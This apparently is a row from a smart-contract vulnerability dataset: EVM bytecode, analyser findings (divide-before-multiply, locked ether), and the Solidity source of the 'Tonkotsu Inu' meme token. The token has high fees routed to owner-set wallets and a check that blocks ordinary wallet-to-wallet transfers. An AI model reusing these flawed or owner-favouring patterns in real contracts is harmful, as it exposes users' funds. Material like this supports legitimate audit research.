5b61047f61128a565b6040518082815260200191505060405180910390f35b34156104a057600080fd5b6104a8611290565b6040518082815260200191505060405180910390f35b34156104c957600080fd5b6104d16112c8565b60405180826000191660001916815260200191505060405180910390f35b34156104fa57600080fd5b6105026112d2565b6040518082815260200191505060405180910390f35b341561052357600080fd5b61052b6112d8565b6040518082815260200191505060405180910390f35b341561054c57600080fd5b6105546112de565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105a157600080fd5b6105cd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611304565b6040518082815260200191505060405180910390f35b34156105ee57600080fd5b6105f661134d565b005b341561060357600080fd5b61063c600480803590602001909190803560001916906020019091908035600019169060200190919080359060200190919050506114ec565b604051808215151515815260200191505060405180910390f35b341561066157600080fd5b610669611581565b6040518082815260200191505060405180910390f35b341561068a57600080fd5b610692611587565b6040518082815260200191505060405180910390f35b34156106b357600080fd5b6106bb61158d565b6040518082815260200191505060405180910390f35b34156106dc57600080fd5b6106e4611593565b60405180826000191660001916815260200191505060405180910390f35b341561070d57600080fd5b610715611599565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561076257600080fd5b61076a6115be565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107aa57808201518184015260208101905061078f565b50505050905090810190601f1680156107d75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156107f057600080fd5b6108206004808035906020019091908035600019169060200190919080356000191690602001909190505061165c565b60405180826000191660001916815260200191505060405180910390f35b341561084957600080fd5b61087e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506116d5565b604051808215151515815260200191505060405180910390f35b34156108a357600080fd5b6108ab611870565b6040518082815260200191505060405180910390f35b34156108cc57600080fd5b6108d4611876565b6040518082815260200191505060405180910390f35b34156108f557600080fd5b61096d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061187c565b604051808215151515815260200191505060405180910390f35b341561099257600080fd5b61099a611ac6565b6040518082815260200191505060405180910390f35b34156109bb57600080fd5b6109c3611acc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610a1057600080fd5b610a45600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611af2565b604051808215151515815260200191505060405180910390f35b3415610a6a57600080fd5b610a72611c3e565b6040518082815260200191505060405180910390f35b3415610a9357600080fd5b610ade600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c44565b6040518082815260200191505060405180910390f35b3415610aff57600080fd5b610b2b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ccb565b005b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bc35780601f10610b9857610100808354040283529160200191610bc3565b820191906000526020600020905b815481529060010190602001808311610ba657829003601f168201915b505050505081565b600081601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60115481565b6000610cdc600b54600a54611d6a90919063ffffffff16565b905090565b600080600080600c5433876040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140182815260200193505050506040518091039020925084600019168360001916141515610d6a57600080fd5b600b5483600190041115610d7d57600080fd5b60136000600c54600019166000191681526020019081526020016000205491508260136000600c5460001916600019168152602001908152602001600020816000191690555060006001028260001916141515610dd957600080fd5b610de1611290565b9050610e3581601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8e90919063ffffffff16565b601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e8d81601454611d8e90919063ffffffff16565b601481905550600e5460145411151515610ea357fe5b33600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060108190555043601181905550610efa611daa565b3373ffffffffffffffffffffffffffffffffffffffff167fcf6fbb9dcea7d07263ab4f5c3a92f53af33dffc421d9d121e1c74b307e68189d82600754600c54604051808481526020018381526020018260001916600019168152602001935050505060405180910390a26001935050505092915050565b6000601560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b600061101082601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5f90919063ffffffff16565b601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110e282601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5f90919063ffffffff16565b601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111b482601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8e90919063ffffffff16565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600d5481565b600460009054906101000a900460ff1681565b6000600b54905090565b60055481565b60006112c3600d5460020a600460009054906101000a900460ff1660ff16600a0a6101f402611d6a90919063ffffffff16565b905090565b6000600c54905090565b600e5481565b60145481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113a957600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000808333876040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401828152602001935050505060405180910390209050828160019004111561156b57600080fd5b8460001916816000191614915050949350505050565b60075481565b600a5481565b600b5481565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116545780601f1061162957610100808354040283529160200191611654565b820191906000526020600020905b81548152906001019060200180831161163757829003601f168201915b505050505081565b6000808233866040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401828152602001935050505060405180910390209050809150509392505050565b600061172982601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5f90919063ffffffff16565b601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117be82601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8e90919063ffffffff16565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60085481565b60105481565b600082601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611a59578082015181840152602081019050611a3e565b50505050905090810190601f168015611a865780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515611aa757600080fd5b6102c65a03f11515611ab857600080fd5b505050600190509392505050565b60065481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b4f57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611c1b57600080fd5b6102c65a03f11515611c2c57600080fd5b50505060405180519050905092915050565b60095481565b6000601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d2657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082111515611d7a57600080fd5b8183811515611d8557fe5b04905092915050565b60008183019050828110151515611da457600080fd5b92915050565b600e54611dc9611db8611290565b601454611d8e90919063ffffffff16565b118015611dd85750604f600d54105b15611dea576001600d5401600d819055505b611e076001600d540160020a600554611d6a90919063ffffffff16565b60055403600e81905550611e276001600754611d8e90919063ffffffff16565b6007819055506000600854600754811515611e3e57fe5b061415611e4e57611e4d611e7b565b5b6001430340600c8160001916905550565b6000828211151515611e7057600080fd5b818303905092915050565b6000806000806000806000600654430396506008549550603c8602945084871015611f3a57611ec687611eb860648861200c90919063ffffffff16565b611d6a90919063ffffffff16565b9350611ef06103e8611ee2606487611e5f90919063ffffffff16565b61203d90919063ffffffff16565b9250611f2f611f1e84611f106107d0600b54611d6a90919063ffffffff16565b61200c90919063ffffffff16565b600b54611e5f90919063ffffffff16565b600b81905550611fd0565b611f6085611f5260648a61200c90919063ffffffff16565b611d6a90919063ffffffff16565b9150611f8a6103e8611f7c606485611e5f90919063ffffffff16565b61203d90919063ffffffff16565b9050611fc9611fb882611faa6107d0600b54611d6a90919063ffffffff16565b61200c90919063ffffffff16565b600b54611d8e90919063ffffffff16565b600b819055505b43600681905550600954600b541015611fed57600954600b819055505b600a54600b54111561200357600a54600b819055505b50505050505050565b60008183029050600083148061202c575081838281151561202957fe5b04145b151561203757600080fd5b92915050565b60008183111561204f57819050612053565b8290505b929150505600a165627a7a7230582008551674200b1cb4c811ca5b376cd007474de4bae79a250cc4cfc393f473df680029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,128 |
0x339af9f4553f4d0cc638683a84e7a4551bcc8012
|
/**
*Submitted for verification at Etherscan.io on 2021-06-09
*/
/**
TONKOTSU INU
...A new reflective meme token!
_____ ___ _ _ _ _____ _____ ____ _ _ ___ _ _ _ _
|_ _/ _ \| \ | | |/ / _ \_ _/ ___|| | | | |_ _| \ | | | | |
| || | | | \| | ' / | | || | \___ \| | | | | || \| | | | |
| || |_| | |\ | . \ |_| || | ___) | |_| | | || |\ | |_| |
|_| \___/|_| \_|_|\_\___/ |_| |____/ \___/ |___|_| \_|\___/
https://t.me/TonkotsuInu
SPDX-License-Identifier: UNLICENSED
**/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TONKOTSU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Tonkotsu Inu";
string private constant _symbol = unicode"🍜TONKOTSU";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 9;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
uint256 private lastBuy;
uint256 private buyLimitEnd;
bool private inSwap = false;
bool private buyCooldownEnabled = false;
bool private sellCooldownEnabled = false;
uint256 private sellCooldownTime = 90 seconds;
uint256 private buyCooldownTime = 30 seconds;
uint256 private removeSellCooldownTime = 3600 seconds; // 1 hour
uint256 private _maxSellAmount = _tTotal;
uint256 private _maxBuyAmount = _tTotal;
struct User {
address userAddress;
uint256 buy;
uint256 sell;
}
event buyCooldownUpdated(uint buyCooldownTime);
event sellCooldownUpdated(uint sellCooldownTime);
event RemoveSellCooldownUpdated(uint removeSellCooldownTime);
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event MaxSellAmountUpdated(uint _maxSellAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setBuyCooldownEnabled(bool onoff) external onlyOwner() {
buyCooldownEnabled = onoff;
}
function setSellCooldownEnabled(bool onoff) external onlyOwner() {
sellCooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "Ah ah ah! You didn't say the magic word!");
}
cooldown[msg.sender] = User(msg.sender,0,0);
// buy
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(buyLimitEnd < block.timestamp) {
_maxBuyAmount = _tTotal;
}
require(amount <= _maxBuyAmount);
if(buyCooldownEnabled) {
require(cooldown[to].buy < block.timestamp);
cooldown[to].buy = block.timestamp + buyCooldownTime;
cooldown[to].sell = block.timestamp + sellCooldownTime;
}
if(sellCooldownEnabled) {
lastBuy = block.timestamp + removeSellCooldownTime;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if (!inSwap && from != uniswapV2Pair && tradingOpen) {
if(lastBuy <= block.timestamp) {
sellCooldownEnabled = false;
_maxSellAmount = 1e12 * 10**9;
}
require(amount <= _maxSellAmount);
if(sellCooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your transaction cooldown has not expired.");
cooldown[from].sell = block.timestamp + sellCooldownTime;
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
buyCooldownEnabled = true;
sellCooldownEnabled = true;
_maxBuyAmount = 3e9 * 10**9;
_maxSellAmount = 5e9 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
lastBuy = block.timestamp;
buyLimitEnd = block.timestamp + (3 minutes);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function sellCooldown() public view returns (bool, uint) {
return (sellCooldownEnabled, sellCooldownTime);
}
function buyCooldown() public view returns (bool, uint) {
return (buyCooldownEnabled, buyCooldownTime);
}
function sellCooldownRemovalTime() public view returns (uint) {
return removeSellCooldownTime;
}
function lastBuyTime() public view returns (uint256) {
return lastBuy;
}
function showMaxBuyAmount() public view returns (uint) {
return _maxBuyAmount;
}
function showMaxSellAmount() public view returns (uint) {
return _maxSellAmount;
}
function setBuyCooldownTime(uint256 buycooldown) external onlyOwner() {
require(!tradingOpen, "Trading is already open.");
require(buycooldown > 0 && buycooldown < 7200, "Must be greater than 0 and less than 2 hours");
buyCooldownTime = buycooldown * 1 seconds;
}
function setSellCooldownTime(uint256 sellcooldown) external onlyOwner() {
require(!tradingOpen, "Trading is already open.");
require(sellcooldown > 0 && sellcooldown < 7200, "Must be greater than 0 and less than 2 hours");
sellCooldownTime = sellcooldown * 1 seconds;
}
function setRemoveSellCooldownTime(uint256 nocooldown) external onlyOwner() {
require(!tradingOpen, "Trading is already open.");
require(nocooldown > 0 && nocooldown < 14400, "Must be greater than 0 and less than 4 hours");
removeSellCooldownTime = nocooldown * 1 seconds;
}
function setMaxBuyPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxBuyAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxBuyAmountUpdated(_maxBuyAmount);
}
function setMaxSellPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent == 100, "Amount must be 100%");
_maxSellAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxSellAmountUpdated(_maxSellAmount);
}
}
|
0x6080604052600436106101bb5760003560e01c8063715018a6116100ec578063acaf4a801161008a578063c9567bf911610064578063c9567bf9146105cf578063dd62ed3e146105e6578063e8078d9414610623578063f29f4d0b1461063a576101c2565b8063acaf4a8014610566578063bd7c00471461058f578063c3c8cd80146105b8576101c2565b80638da5cb5b116100c65780638da5cb5b146104aa5780639479528e146104d557806395d89b41146104fe578063a9059cbb14610529576101c2565b8063715018a61461043f5780638a977cee146104565780638b81f8ba1461047f576101c2565b806331d25643116101595780635f33977d116101335780635f33977d146103965780636fc3eaec146103bf578063704fbfe5146103d657806370a0823114610402576101c2565b806331d256431461031957806356c2c6be1461034457806359992dbc1461036d576101c2565b806318160ddd1161019557806318160ddd1461025a5780631b2773c21461028557806323b872dd146102b1578063313ce567146102ee576101c2565b806306fdde03146101c7578063095ea7b3146101f2578063175e31bf1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610665565b6040516101e99190613846565b60405180910390f35b3480156101fe57600080fd5b50610219600480360381019061021491906132af565b6106a2565b6040516102269190613802565b60405180910390f35b34801561023b57600080fd5b506102446106c0565b6040516102519190613aa8565b60405180910390f35b34801561026657600080fd5b5061026f6106ca565b60405161027c9190613aa8565b60405180910390f35b34801561029157600080fd5b5061029a6106db565b6040516102a892919061381d565b60405180910390f35b3480156102bd57600080fd5b506102d860048036038101906102d39190613260565b6106f9565b6040516102e59190613802565b60405180910390f35b3480156102fa57600080fd5b506103036107d2565b6040516103109190613b1d565b60405180910390f35b34801561032557600080fd5b5061032e6107db565b60405161033b9190613aa8565b60405180910390f35b34801561035057600080fd5b5061036b600480360381019061036691906132eb565b6107e5565b005b34801561037957600080fd5b50610394600480360381019061038f919061333d565b610897565b005b3480156103a257600080fd5b506103bd60048036038101906103b8919061333d565b6109e0565b005b3480156103cb57600080fd5b506103d4610b2b565b005b3480156103e257600080fd5b506103eb610b9d565b6040516103f992919061381d565b60405180910390f35b34801561040e57600080fd5b50610429600480360381019061042491906131d2565b610bbb565b6040516104369190613aa8565b60405180910390f35b34801561044b57600080fd5b50610454610c0c565b005b34801561046257600080fd5b5061047d6004803603810190610478919061333d565b610d5f565b005b34801561048b57600080fd5b50610494610ea8565b6040516104a19190613aa8565b60405180910390f35b3480156104b657600080fd5b506104bf610eb2565b6040516104cc9190613734565b60405180910390f35b3480156104e157600080fd5b506104fc60048036038101906104f7919061333d565b610edb565b005b34801561050a57600080fd5b50610513611026565b6040516105209190613846565b60405180910390f35b34801561053557600080fd5b50610550600480360381019061054b91906132af565b611063565b60405161055d9190613802565b60405180910390f35b34801561057257600080fd5b5061058d600480360381019061058891906132eb565b611081565b005b34801561059b57600080fd5b506105b660048036038101906105b1919061333d565b611133565b005b3480156105c457600080fd5b506105c